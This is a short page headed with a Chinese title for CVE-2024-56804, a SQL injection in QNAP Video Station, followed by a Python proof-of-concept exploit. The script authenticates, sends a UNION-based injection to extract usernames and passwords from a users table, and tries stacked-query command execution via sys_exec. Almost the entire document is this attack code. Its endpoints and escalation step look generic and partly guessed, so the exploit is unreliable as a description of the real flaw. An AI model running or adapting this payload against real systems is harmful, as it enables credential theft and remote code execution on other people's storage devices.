CVE-2024-56804：QNAP Video Station SQL注入漏洞

# CVE-2024-56804 - QNAP Video Station SQL Injection PoC # Vulnerability: SQL Injection in Video Station via user-supplied input # Requirements: Valid user account credentials import requests TARGET_URL = "https://target-nas:8080/video_station/" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(target_url, username, password): session = requests.Session() # Step 1: Authenticate to obtain a valid session login_url = f"{target_url}/api/v2/auth/login" login_payload = { "username": username, "password": password } resp = session.post(login_url, json=login_payload, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Identify injectable parameter (e.g., search/filter endpoint) # The vulnerable endpoint accepts user input without proper parameterization inject_url = f"{target_url}/api/v2/videos/search" # Step 3: Craft SQL injection payload # Example: UNION-based injection to extract admin credentials sql_payload = { "keyword": "test' UNION SELECT 1,username,password,4,5,6,7 FROM users WHERE '1'='1", "category": "all" } # Step 4: Send malicious request resp = session.post(inject_url, json=sql_payload, verify=False) print(f"[*] Injection response: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") # Step 5: Attempt to escalate to RCE via stacked queries (MySQL) rce_payload = { "keyword": "test'; SELECT sys_exec('id > /tmp/pwned')-- -", "category": "all" } resp = session.post(inject_url, json=rce_payload, verify=False) print(f"[*] RCE attempt response: {resp.status_code}") return resp if __name__ == "__main__": exploit_sql_injection(TARGET_URL, USERNAME, PASSWORD)